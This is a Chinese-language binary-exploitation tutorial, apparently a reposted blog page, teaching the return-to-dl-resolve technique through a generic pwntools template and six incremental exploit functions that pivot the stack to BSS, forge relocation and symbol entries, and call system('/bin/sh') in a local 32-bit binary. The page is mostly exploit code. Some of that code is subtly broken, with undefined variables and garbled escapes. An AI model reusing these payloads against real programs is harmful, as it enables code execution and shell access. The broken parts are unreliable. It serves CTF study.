zoukankan      html  css  js  c++  java
  • Return-to-dl-resolve

    预备知识

    延迟绑定重定位

    转载!

    PLT-GOT

    通用解题目脚本:

    ##考虑到栈空间不足,一般会进行栈迁移到BSS,原理是pop操作用的的是esp寄存器
    
    p = process('./your pro')
    elf = ELF('./your pro')
    
    bss_base = elf.bss()    #BSS基本地址,用来搬迁栈
    plt_0 = 0x****         ##objdump -d -j .plt *** 查询plt[0]地址,用来EIP指向该处,只用传入index_arc参数
    rel_plt = 0x****       ##objdump -s -j .rel.plt *** 查询rel.plt表基址
    dynsym = 0x****    ##查询 dynsym基地址,保存sym结构体
    dynstr = 0x****        ##查询 dynstr 基地址,保存函数名表项
    
    index_offset=New_stack+xx-rel_plt    #从Fake栈顶偏移XX开始伪造是因为中间还有数据
    write_got = elf.got['write']    #这里将会在后面替换write的GOT表
    fake_sym_addr = New_stack + XXX    
    align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) ## 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
    fake_sym_addr = fake_sym_addr + align
    index_dynsym = (fake_sym_addr - dynsym) / 0x10 ## 除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号
    r_info = (index_dynsym << 8) | 0x7
    fake_reloc = p32(write_got) + p32(r_info)    #构建Fake rel.plt表项
    st_name = (fake_sym_addr + 0x10) - dynstr     # 加0x10因为Elf32_Sym的大小为0x10
    fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)    #构建Fake sym结构体
    
    payload = 'A'*偏移
    payload+= #向Fake栈顶写数据,写入的是在栈搬迁之后的ROP  因为pop是根据RSP定位的
    payload += p32(pop_ebp_ret)             #搬迁ebp
    payload += p32(New_stack)        #将ebp搬迁到Fake栈顶
    payload += p32(leave_ret)                #mov esp,ebp ; pop bep ;ret #将ebp赋值给esp完成栈搬迁,此时下面的pop操作从Fake栈顶开始。
    p.send(payload)
    
    payload2 = 'AAAA'                         #接上述的pop ebp,因为rop是根据esp,这里可以随便指定,也可以指定到下一个搬迁栈顶
    payload2 += p32(plt_0)    #将EIP指向plt[0]
    payload2 += p32(index_offset)       #等下会从plt[0]+index_offset跳转到我们的Fake_reloc
    payload2 += 'AAAA'    #函数返回地址
    payload2 += p32(1)    #fd
    payload2 += p32(New_stack + xx)    #buf 读取数据的位置
    payload2 += p32(len(cmd))
    payload2 += fake_reloc # (New_stack +xx)的位置
    payload2 += 'B' * align
    payload2 += fake_sym # (New_stack +xxx)的位置
    payload2 += "systemx00"    #Fake st_name
    payload2 += 'A' * (80 - len(payload2))
    payload2 += cmd + 'x00'
    payload2 += 'A' * (100 - len(payload2))
    p.sendline(payload2)
    p.interactive()

    step1-step6 从潜到深学习

    from pwn import *
    
    pop_esi_edi_ebp_ret=0x08048619
    pop_ebp_ret=0x0804861b
    leave_ret=0x08048458    #--only "leave|ret"
    offset=112
    stack_size=0x800
    
    #move stack to bss and control write()
    def step1():
        p.recvuntil('2015~!
    ')
        payload = 'A' * offset            #填充
        payload += p32(read_plt)         #向Fake栈顶写数据,写入的是在栈搬迁之后的ROP  因为pop是根据RSP定位的。
        payload += p32(pop_esi_edi_ebp_ret)     #函数返回地址,这里选择弹出read的三个参数
        payload += p32(0)                        #fd
        payload += p32(bss_addr+stack_size)        #buf
        payload += p32(100)                        #len
        payload += p32(pop_ebp_ret)             #搬迁ebp
        payload += p32(bss_addr+stack_size)        #将ebp搬迁到Fake栈顶
        payload += p32(leave_ret)                #mov esp,ebp ; pop bep ;ret #将ebp赋值给esp完成栈搬迁,此时下面的pop操作从Fake栈顶开始。
        p.send(payload)
        
        cmd = "/bin/sh"
        payload2 = 'AAAA'                         #接上述的pop ebp,因为rop是根据esp,这里可以随便指定,也可以指定到下一个搬迁栈顶
        payload2 += p32(write_plt)                
        payload2 += 'AAAA'                        #函数返回地址
        payload2 += p32(1)                        #fd
        payload2 += p32(bss_addr+stack_size + 80)        #buf 读取数据的位置
        payload2 += p32(len(cmd))                #len
        payload2 += 'A' * (80 - len(payload2))    #填充
        payload2 += cmd + 'x00'                #buf 填充的数据
        payload2 += 'A' * (100 - len(payload2))    
        p.sendline(payload2)
        p.interactive()
    
        #控制eip返回PLT[0],带上write的index_offset
        #因为调用dl_runtime_resolve时,一会修改GOT地址,二是会调用函数运行
    def step2():
        plt0=0x8048380    #objdump -d main
        index_offset=0x20 #查表
        #index_offset=Fake-plt[0]
        
        p.recvuntil('2015~!
    ')
        payload = 'A' * offset            
        payload += p32(read_plt)         
        payload += p32(pop_esi_edi_ebp_ret)     
        payload += p32(0)                        
        payload += p32(bss_addr+stack_size)        
        payload += p32(100)                        
        payload += p32(pop_ebp_ret)             
        payload += p32(bss_addr+stack_size)        
        payload += p32(leave_ret)                
        p.send(payload)    
        
        cmd = "/bin/sh"
        payload2 = 'AAAA'
        payload2 += p32(plt_0)        #将EIP指向plt[0]        ---|这两步骤等同于call write()
        payload2 += p32(index_offset)    #传入index参数        ---|
        payload2 += 'AAAA'                
        payload2 += p32(1)                
        payload2 += p32(bss_addr+stack_size + 80)
        payload2 += p32(len(cmd))
        payload2 += 'A' * (80 - len(payload2))
        payload2 += cmd + 'x00'
        payload2 += 'A' * (100 - len(payload2))
        r.sendline(payload2)
        r.interactive()
        
        #控制index_offset,使其指向我们构造的fake_reloc
    def step3():
        #构造Fake reloc结构体,也就是rela.plt    
        cmd="/bin/sh"
        plt0=0x8048380    #objdump -d -j .plt main
        rel_plt=0x08048330 #objdump -s -j .rel.plt main
        index_offset=bss_addr+stack_size+28-rel_plt #从Fake栈顶偏移28开始伪造是因为中间还有数据
        write_got = elf.got['write']  #正常写入对应的GOT表
        r_info = 0x607 # write: Elf32_Rel->r_info = 表项<<8+0x07过检测
        fake_reloc = p32(write_got) + p32(r_info) #创建Fake结构体
        
        p.recvuntil('2015~!
    ')
        payload = 'A' * offset            
        payload += p32(read_plt)         
        payload += p32(pop_esi_edi_ebp_ret)     
        payload += p32(0)                        
        payload += p32(bss_addr+stack_size)        
        payload += p32(100)                        
        payload += p32(pop_ebp_ret)             
        payload += p32(bss_addr+stack_size)        
        payload += p32(leave_ret)                
        p.send(payload)    
    
        payload2 = 'AAAA'
        payload2 += p32(plt_0)
        payload2 += p32(index_offset)    #等下会从plt[0]+index_offset跳转到我们的Fake_reloc
        payload2 += 'AAAA'
        payload2 += p32(1)
        payload2 += p32(bss_addr+stack_size + 80)
        payload2 += p32(len(cmd))
        payload2 += fake_reloc     # (bss_addr+stack_size+28)的位置
        payload2 += 'A' * (80 - len(payload2))
        payload2 += cmd + 'x00'
        payload2 += 'A' * (100 - len(payload2))
        r.sendline(payload2)
        r.interactive()
    
        #构造fake_sym,使其指向我们控制的st_name
    def step4():
        cmd = "/bin/sh"
        plt_0 = 0x08048380
        rel_plt = 0x08048330
        index_offset = (bss_addr+stack_size + 28) - rel_plt
        write_got = elf.got['write']
        #开始构造
        dynsym = 0x080481d8                #sym位置
        dynstr = 0x08048278                #st_name位置
        fake_sym_addr = bss_addr+stack_size + 36            #偏移36
        align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
        fake_sym_addr = fake_sym_addr + align
        index_dynsym = (fake_sym_addr - dynsym) / 0x10 # 除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号
        r_info = (index_dynsym << 8) | 0x7
        fake_reloc = p32(write_got) + p32(r_info)
        st_name = 0x4c
        fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
        
        p.recvuntil('2015~!
    ')
        payload = 'A' * offset            
        payload += p32(read_plt)         
        payload += p32(pop_esi_edi_ebp_ret)     
        payload += p32(0)                        
        payload += p32(bss_addr+stack_size)        
        payload += p32(100)                        
        payload += p32(pop_ebp_ret)             
        payload += p32(bss_addr+stack_size)        
        payload += p32(leave_ret)                
        p.send(payload)    
        
        payload2 = 'AAAA'
        payload2 += p32(plt_0)
        payload2 += p32(index_offset)
        payload2 += 'AAAA'
        payload2 += p32(1)
        payload2 += p32(bss_addr+stack_size + 80)
        payload2 += p32(len(cmd))
        payload2 += fake_reloc # (bss_addr+stack_size+28)的位置
        payload2 += 'B' * align
        payload2 += fake_sym # (bss_addr+stack_size+36)的位置
        payload2 += 'A' * (80 - len(payload2))
        payload2 += cmd + 'x00'
        payload2 += 'A' * (100 - len(payload2))
        p.sendline(payload2)
        p.interactive()
    
        #伪造st_name位置指向我们的字符串
    def step5():
        cmd = "/bin/sh"
        plt_0 = 0x08048380
        rel_plt = 0x08048330
        index_offset = (bss_addr+stack_size + 28) - rel_plt
        write_got = elf.got['write']
        dynsym = 0x080481d8
        dynstr = 0x08048278
        fake_sym_addr = bss_addr+stack_size + 36
        align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
        fake_sym_addr = fake_sym_addr + align
        index_dynsym = (fake_sym_addr - dynsym) / 0x10
        r_info = (index_dynsym << 8) | 0x7
        fake_reloc = p32(write_got) + p32(r_info)
        st_name = (fake_sym_addr + 0x10) - dynstr     # 加0x10因为Elf32_Sym的大小为0x10
        fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
    
        p.recvuntil('2015~!
    ')
        payload = 'A' * offset            
        payload += p32(read_plt)         
        payload += p32(pop_esi_edi_ebp_ret)     
        payload += p32(0)                        
        payload += p32(bss_addr+stack_size)        
        payload += p32(100)                        
        payload += p32(pop_ebp_ret)             
        payload += p32(bss_addr+stack_size)        
        payload += p32(leave_ret)                
        p.send(payload)    
        
        payload2 = 'AAAA'
        payload2 += p32(plt_0)
        payload2 += p32(index_offset)
        payload2 += 'AAAA'
        payload2 += p32(1)
        payload2 += p32(bss_addr+stack_size + 80)
        payload2 += p32(len(cmd))
        payload2 += fake_reloc # (bss_addr+stack_size+28)的位置
        payload2 += 'B' * align
        payload2 += fake_sym # (bss_addr+stack_size+36)的位置
        payload2 += "writex00"
        payload2 += 'A' * (80 - len(payload2))
        payload2 += cmd + 'x00'
        payload2 += 'A' * (100 - len(payload2))
        p.sendline(payload2)
        p.interactive()
    
        #替换write为system,并修改system的参数
    def step6():
        cmd = "/bin/sh"
        plt_0 = 0x08048380    ##objdump -d -j .plt *** 查询plt[0]地址,用来EIP指向该处,只用传入index_arc参数
        rel_plt = 0x08048330    ##objdump -s -j .rel.plt *** 查询rel.plt表基址
        index_offset = (bss_addr+stack_size + 28) - rel_plt    #从Fake栈顶偏移28开始伪造是因为0-28中间还有数据
        write_got = elf.got['write']    ##这里将会在后面替换write的GOT表
        dynsym = 0x080481d8    ##查询 dynsym基地址,保存sym结构体
        dynstr = 0x08048278    ##查询 dynstr 基地址,保存函数名表项
        fake_sym_addr = bss_addr+stack_size + 36
        
        align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) ## 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
        fake_sym_addr = fake_sym_addr + align
        
        index_dynsym = (fake_sym_addr - dynsym) / 0x10  # 除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号
        r_info = (index_dynsym << 8) | 0x7 
        
        fake_reloc = p32(write_got) + p32(r_info)    #构建Fake rel.plt表项
        st_name = (fake_sym_addr + 0x10) - dynstr     # 加0x10因为Elf32_Sym的大小为0x10
        fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12) #构建Fake sym结构体
    
        p.recvuntil('2015~!
    ')
        payload = 'A' * offset            
        payload += p32(read_plt)         
        payload += p32(pop_esi_edi_ebp_ret)     
        payload += p32(0)                        
        payload += p32(bss_addr+stack_size)        
        payload += p32(100)                        
        payload += p32(pop_ebp_ret)             
        payload += p32(bss_addr+stack_size)        
        payload += p32(leave_ret)                
        p.send(payload)    
        
        payload2 = 'AAAA'
        payload2 += p32(plt_0)
        payload2 += p32(index_offset)
        payload2 += 'AAAA'
        payload2 += p32(base_stage + 80)
        payload2 += 'aaaa'
        payload2 += 'aaaa'
        payload2 += fake_reloc # (base_stage+28)的位置
        payload2 += 'B' * align
        payload2 += fake_sym # (base_stage+36)的位置
        payload2 += "systemx00"    #Fake st_name
        payload2 += 'A' * (80 - len(payload2))
        payload2 += cmd + 'x00'
        payload2 += 'A' * (100 - len(payload2))
        p.sendline(payload2)
        p.interactive()
        
        
    if __name__ =="__main__":
        p=process('./main')
        elf=ELF('./main')
        write_plt=elf.plt['write']
        read_plt = elf.plt['read']
        bss_addr=elf.bss()
        #step1()
        #step2()
        #step3()
        #step4()
        #step5()
        step6()
  • 相关阅读:
    ubuntu 11.10下 配置环境变量 对 adb无效
    一个NB的博客 个人感觉非常有用
    SVN 错误提交配置文件,
    代码格式真的很重要
    图解DB2体系结构(转)
    DB2基本概念——实例,数据库,模式,表空间
    DB2 数据库安全总述
    DB2关于标识列(自增列)的对比试验、使用示例
    DB2的SQL编程(转)
    DB2 数据类型(转)
  • 原文地址:https://www.cnblogs.com/0xHack/p/11666567.html
Copyright © 2011-2022 走看看